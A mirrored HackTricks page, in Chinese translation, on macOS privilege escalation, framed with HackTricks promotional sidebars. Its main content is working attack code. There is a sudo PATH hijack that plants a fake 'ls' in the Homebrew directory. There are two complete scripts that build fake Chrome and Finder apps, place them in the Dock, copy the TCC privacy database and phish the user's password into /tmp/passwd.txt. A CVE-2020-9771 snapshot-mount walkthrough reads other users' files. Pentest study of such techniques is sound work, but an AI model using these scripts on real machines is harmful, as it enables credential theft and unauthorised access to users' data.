mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
263 lines
11 KiB
Markdown
263 lines
11 KiB
Markdown
# macOS Privilege Escalation
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## TCC权限提升
|
||
|
||
如果您在这里寻找TCC权限提升，请转到：
|
||
|
||
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||
[macos-tcc](macos-security-protections/macos-tcc/)
|
||
{% endcontent-ref %}
|
||
|
||
## Linux权限提升
|
||
|
||
请注意，**大多数关于影响Linux/Unix权限提升的技巧也会影响MacOS**机器。因此请参考：
|
||
|
||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||
{% endcontent-ref %}
|
||
|
||
## 用户交互
|
||
|
||
### Sudo劫持
|
||
|
||
您可以在[Linux权限提升文章中找到原始的Sudo劫持技术](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
|
||
|
||
然而，macOS在用户执行\*\*`sudo`**时会**保留**用户的**`PATH`**。这意味着实现此攻击的另一种方法是**劫持受害者在运行sudo时执行的其他二进制文件\*\*：
|
||
|
||
```bash
|
||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||
cat > /opt/homebrew/bin/ls <<EOF
|
||
#!/bin/bash
|
||
if [ "\$(id -u)" -eq 0 ]; then
|
||
whoami > /tmp/privesc
|
||
fi
|
||
/bin/ls "\$@"
|
||
EOF
|
||
chmod +x /opt/homebrew/bin/ls
|
||
|
||
# victim
|
||
sudo ls
|
||
```
|
||
|
||
注意，使用终端的用户很可能已经安装了**Homebrew**。因此，有可能劫持\*\*`/opt/homebrew/bin`\*\*中的二进制文件。
|
||
|
||
### Dock冒充
|
||
|
||
通过一些**社会工程学**手段，您可以在Dock中**冒充例如Google Chrome**，实际上执行您自己的脚本：
|
||
|
||
一些建议：
|
||
|
||
* 在Dock中检查是否有Chrome，如果有的话，**移除**该条目，并在Dock数组的相同位置**添加**一个**伪造的Chrome条目**。
|
||
|
||
```bash
|
||
#!/bin/sh
|
||
|
||
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
|
||
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
|
||
|
||
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
|
||
|
||
# Create App structure
|
||
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
|
||
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
|
||
|
||
# Payload to execute
|
||
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
|
||
int main() {
|
||
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
|
||
"sleep 2; "
|
||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||
system(cmd);
|
||
return 0;
|
||
}
|
||
EOF
|
||
|
||
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
||
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
|
||
|
||
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
|
||
|
||
# Info.plist
|
||
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
<dict>
|
||
<key>CFBundleExecutable</key>
|
||
<string>Google Chrome</string>
|
||
<key>CFBundleIdentifier</key>
|
||
<string>com.google.Chrome</string>
|
||
<key>CFBundleName</key>
|
||
<string>Google Chrome</string>
|
||
<key>CFBundleVersion</key>
|
||
<string>1.0</string>
|
||
<key>CFBundleShortVersionString</key>
|
||
<string>1.0</string>
|
||
<key>CFBundleInfoDictionaryVersion</key>
|
||
<string>6.0</string>
|
||
<key>CFBundlePackageType</key>
|
||
<string>APPL</string>
|
||
<key>CFBundleIconFile</key>
|
||
<string>app</string>
|
||
</dict>
|
||
</plist>
|
||
EOF
|
||
|
||
# Copy icon from Google Chrome
|
||
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
|
||
|
||
# Add to Dock
|
||
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||
sleep 0.1
|
||
killall Dock
|
||
```
|
||
|
||
一些建议：
|
||
|
||
* 你**无法从Dock中移除Finder**，所以如果你要将其添加到Dock中，你可以将假的Finder放在真正的Finder旁边。为此，你需要**将假的Finder条目添加到Dock数组的开头**。
|
||
* 另一个选择是不将其放在Dock中，只是打开它，“Finder要求控制Finder”并不奇怪。
|
||
* 另一个升级到root权限而不需要密码的可怕框的选项是让Finder真的要求输入密码来执行特权操作：
|
||
* 要求Finder将新的\*\*`sudo`**文件复制到**`/etc/pam.d`\*\*（提示要求输入密码将指示“Finder想要复制sudo”）
|
||
* 要求Finder复制一个新的**授权插件**（你可以控制文件名，以便提示要求输入密码将指示“Finder想要复制Finder.bundle”）
|
||
|
||
```bash
|
||
#!/bin/sh
|
||
|
||
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
|
||
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
|
||
|
||
rm -rf /tmp/Finder.app/ 2>/dev/null
|
||
|
||
# Create App structure
|
||
mkdir -p /tmp/Finder.app/Contents/MacOS
|
||
mkdir -p /tmp/Finder.app/Contents/Resources
|
||
|
||
# Payload to execute
|
||
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
|
||
int main() {
|
||
char *cmd = "open /System/Library/CoreServices/Finder.app & "
|
||
"sleep 2; "
|
||
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
||
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
|
||
"echo \$PASSWORD > /tmp/passwd.txt";
|
||
system(cmd);
|
||
return 0;
|
||
}
|
||
EOF
|
||
|
||
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
|
||
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
|
||
|
||
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
|
||
|
||
# Info.plist
|
||
cat << EOF > /tmp/Finder.app/Contents/Info.plist
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
<dict>
|
||
<key>CFBundleExecutable</key>
|
||
<string>Finder</string>
|
||
<key>CFBundleIdentifier</key>
|
||
<string>com.apple.finder</string>
|
||
<key>CFBundleName</key>
|
||
<string>Finder</string>
|
||
<key>CFBundleVersion</key>
|
||
<string>1.0</string>
|
||
<key>CFBundleShortVersionString</key>
|
||
<string>1.0</string>
|
||
<key>CFBundleInfoDictionaryVersion</key>
|
||
<string>6.0</string>
|
||
<key>CFBundlePackageType</key>
|
||
<string>APPL</string>
|
||
<key>CFBundleIconFile</key>
|
||
<string>app</string>
|
||
</dict>
|
||
</plist>
|
||
EOF
|
||
|
||
# Copy icon from Finder
|
||
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
|
||
|
||
# Add to Dock
|
||
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||
sleep 0.1
|
||
killall Dock
|
||
```
|
||
|
||
## TCC - 提权漏洞
|
||
|
||
### CVE-2020-9771 - mount\_apfs TCC绕过和提权
|
||
|
||
**任何用户**（甚至是非特权用户）都可以创建和挂载一个时间机器快照，并**访问该快照的所有文件**。\
|
||
唯一需要的特权是所使用的应用程序（如`Terminal`）需要具有**完全磁盘访问权限**（FDA）（`kTCCServiceSystemPolicyAllfiles`），这需要由管理员授予。
|
||
|
||
```bash
|
||
# Create snapshot
|
||
tmutil localsnapshot
|
||
|
||
# List snapshots
|
||
tmutil listlocalsnapshots /
|
||
Snapshots for disk /:
|
||
com.apple.TimeMachine.2023-05-29-001751.local
|
||
|
||
# Generate folder to mount it
|
||
cd /tmp # I didn it from this folder
|
||
mkdir /tmp/snap
|
||
|
||
# Mount it, "noowners" will mount the folder so the current user can access everything
|
||
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
||
|
||
# Access it
|
||
ls /tmp/snap/Users/admin_user # This will work
|
||
```
|
||
|
||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
|
||
|
||
## 敏感信息
|
||
|
||
这可能对提升权限有用：
|
||
|
||
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||
{% endcontent-ref %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为英雄，使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
支持HackTricks的其他方式：
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|